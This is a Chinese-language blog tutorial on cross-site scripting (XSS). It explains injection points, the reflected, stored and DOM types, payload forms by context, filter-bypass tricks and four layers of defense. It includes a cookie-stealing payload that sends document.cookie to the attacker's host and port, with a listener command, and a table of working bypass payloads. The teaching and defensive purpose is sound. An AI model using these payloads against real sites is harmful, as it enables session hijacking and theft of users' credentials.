弹窗弹出来之后,攻击才刚开始

清酒 8 分钟 44 次读过

XSS

声明

本文涉及的所有操作均在本地靶场环境中进行,用于理解漏洞原理与防御思路,请勿用于未授权的目标。

学过XSS的人应该都见过这个代码。

<script>alert(1)</script>

把这串代码放进搜索框里,然后屏幕上就会弹出一个写着1的框。然后靶场里可能就会弹出flag:....然后就通关了。

可是只有这个弹窗在渗透中干不了什么。这个弹窗弹出来就只能证明一件事。

一、那个弹窗能证明什么?

XSS的全称是跨站脚本攻击(Cross-Site Scripting),这个命名是为了不和CSS撞名所以才缩写为XSS.

哪个弹窗的出现证明:你提交的那串内容被当成了代码执行。并没有当成文字显示出来。网站本应该把你输入的内容显示成一段话,结果却是它把这句话交给浏览器的JS引擎。

XSS的本质其实就是这一件事:你提交的东西被做成了代码来跑。它的本质上是一段JavaScript,JS能做到的事情它都能做到。

还有一点也很重要:XSS是属于客户端攻击,受害者是用户而不是服务器。服务器没有什么问题,用户的浏览器却被操控了。

例子: image

image

老手的习惯

多数人会用alert(1),会讲究的会用alert(document.domain),弹出来的是当前的域名。但是我更推荐动静小一点的<h1>。多打几个字的好处在于,它能证明这个代码跑在了哪个站点,写进漏洞报告也更有依据一点。

二、在什么地方输代码

XSS攻击的第一步就是找能输入内容的地方。

判断标准只有一条:哪里能输入,内容是否显示在页面上。

位置 说明
搜索框和评论区 很明显容易被修
用户资料和个性签名 这个地方很容易漏
HTTP请求头 Referer、User-Agent常被展示在后台
POST的JSON数据 前端渲染时成为出口
URL参数 通过改变URL的内容查看回显

前面的两个是页面上可以直观看到的,后面的这三个很容易被人忽略。HTTP请求头可以多试试,很多网站会把访问的来源记下来给管理员看。

URL参数实现XSS

举个例子:如果地址栏里面有一个?keyword=test,可以吧test换成代码,然后观察页面上是否有回显,回显出现在哪个位置。

三、判断注入类型

弹窗后第一件事情不是接着怎么拿到信息,而是搞清楚这个XSS是什么类型。

XSS分为三类,学会判断方法比分类有用:发一次带payload的请求,然后看返回内容。

类型 怎么判断 危害
反射型 只会在当次的返回中出现 要骗人打开链接才会触发
存储型(最严重) 存在服务器,打开页面就存在 打开就中招
DOM型 返回包里没有数据,弹窗照样弹 服务器和WAF都察觉不到

如果想验证存储型就需要两个账号进行测试:A提交payload,B在进入界面时会被影响。

DOM型特殊在它只发生在浏览器里。代码没有发给服务器,服务器里面的日志也找不到痕迹,WAF也看不到,payload一般藏在URL的#号后面,#号后面的内容根本就没有往服务器上发。

DOM型XSS怎么找?

在前端的JS找,查看是否有危险的写法:innerHTML、document.write、eval,看看填这个位置的值是不是从URL或location.hach里获取的。

分清楚哪一种XSS可以直接决定这个漏洞有多严重。

反射型:一般被当做低危漏洞看待,但是如果配合钓鱼邮件作为链接,成功率也很高。

存储型:如果落在了管理员每天都要看的页面上,危害也会很大。如果一个网站有做权限控制的话,管理员的权限会比一般的用户大得多,有可能可以控制文件管数据。攻击面也会广很多。

四、让弹窗变为能真正干活的载荷

除了知道弹窗的存在还要把它换成能真正干活的东西。

最常见的写法就是骗浏览器去加载一个根本就不存在的图片,把Cookie拼在图片的地址里:new Image().src='http://你的IP:8000/?c='+document.cookie

当目标加载这个图片就会发送出一个请求,这个请求会发送到你的机器里,Cookie就得到了。但是前提是你的机器又开启(python -m http.server 8000)进行监听,日志里就可以找到。

那问题来了,我要cookie作甚?

拿到cookie意味什么?

浏览器依靠Cookie来记住你是谁,登录之后每一次请求都会用它来识别用户。如果拿到了这个值就可以以对方的身份进入,甚至都不用密码。

存储型有一种方法叫做盲打。把代码放进去,不知道管理员什么时候能进入页面,只能把监听打开。日志里发现新的内容就说明有人中招了。

例子:

image

image

cookie是最常拿的一项。同一个位置还能再做一个假的登录框来套取密码、记录键盘的输入,把页面弹到钓鱼网站上。弹框要换成什么取决于你需要什么。

五、你的代码放在哪里,决定它会是什么样

同样是弹窗,Paylod是什么样取决于你的输入点落在了页面的哪个位置。

落在哪 payload长什么样
两个标签之间 <script>alert(1)</script>
标签的属性里 "onmouseover=alert(1) x=
JS的代码里 ;alert(1)//

怎么看落在哪里?可以查看网页的源代码,搜索刚才提交的那串测试的字符,看它出现在什么标签,什么属性里。这一步花个一分钟,能省后面一个小时的瞎试。

屏幕截图 2026-10-07 233745

另外说一下,属性的x=那个并不是多余的,它主要负责的是吃掉原有的HTML剩下的引号,让整段结构合法。

六、为什么载荷过不去?

网站有过滤,对应的方式一列就清楚。

拦截方法 这么绕
大小写匹配 <ScRipT>混着写
关键字删除 双写成scrscriptipt
特征识别 HTML实体/Unicode/URL编码
标签被禁 换成svg、style
事件被禁 换成onfocus、ontouchstart
长度限制 把内容压缩到20字节内,或者两框拼接

编码的那条思路都差不多:让过滤器认不出来,浏览器却可以还原回去,能够触发JS的HTML事件可能有几十个,过滤器很难列全,地址链接里还有javascript伪协议这条路,<a href=javascript:alert(1)>点我</a>点击一下即可执行。

最后一种拦法不做过滤,只做限长。输入框中只允许20个字符,常规的payload一般都塞不下。

但是压一压还是能过,"onclick=alert(1)// 这样一段不到二十个字节,点一下就触发。

更巧的是有两个输入框的情况。第一个框以 <!-- 收尾,第二个框以 --> 开头,中间夹着的那些原有 HTML 全被当成注释跳过,两段的拼接结果就是一个完整的 payload。限长拦得住单段,拦不住这种拼法。

七、怎么防

站在开发者的角度,防线总共有四层。这四层的差别不在强弱,主要看的是哪个环节在挡。

防线 挡住了什么 挡不住什么
输出编码 所有注入 基本没有
HttpOnly 读走cookie 代码执行、借身份发消息
CSP 外部与内部脚本 已放行来源里的脚本
输入过滤 提高攻击成本 编码与变形

输出编码是根。所有用户输入在要显示在页面的时候,按它所在的位置做对应编码:落在 HTML 里就做 HTML 实体编码,落在 JS 里就做 Unicode 转义。

PHP 里对应的是 htmlspecialchars。编码做对了,前面那些绕过手法全部失效。

HttpOnly 的边界最容易理解错。 给 Cookie 加上这个属性,JS 就读不到它,偷 Cookie 的脚本直接失去目标。它挡的是「读走凭证」,但是挡不住 XSS 本身。

代码还是照样在用户的浏览器里跑,攻击者可以借着对方的身份在页面内发请求、从页面上抓 CSRF token、把页面内容传出去。最省事的那条路被堵了,别的路还开着。

CSP(内容安全策略)。 告诉浏览器只允许执行指定来源的脚本,内联脚本一律拒绝。配成只认本站的脚本文件,注入进来的 <script> 就跑不起来。

输入过滤只能算辅助。 顺带说几个 PHP 函数的区别:strip_tags 会剥掉 HTML 标签,适合只要纯文本的场景;str_replace 是查找替换,做黑名单用,追不上变形的花样;addslashes 转义引号和反斜杠,那是防 SQL 注入的,拿来防 XSS 不管用。

四层里只有输出编码能断根。另外三层想的都是同一件事:万一它还是漏了,怎么少赔一点。

八、最后

回到那个弹窗。

每个学 XSS 的人都见过这个框,也最容易停在这一步。弹出来只是起点,它证明门没锁。进门之后要拿什么、拿的东西怎么用,那才是攻击。

判断一个 XSS 值不值得修,看三件事:是哪一种,谁会打开那个页面,打开的人有多大权限。

下次你在一个输入框里弹出 alert 的时候,可以多问一句:这个位置换成真正干活的代码,能拿到什么。

有牛 写于 2026.10.07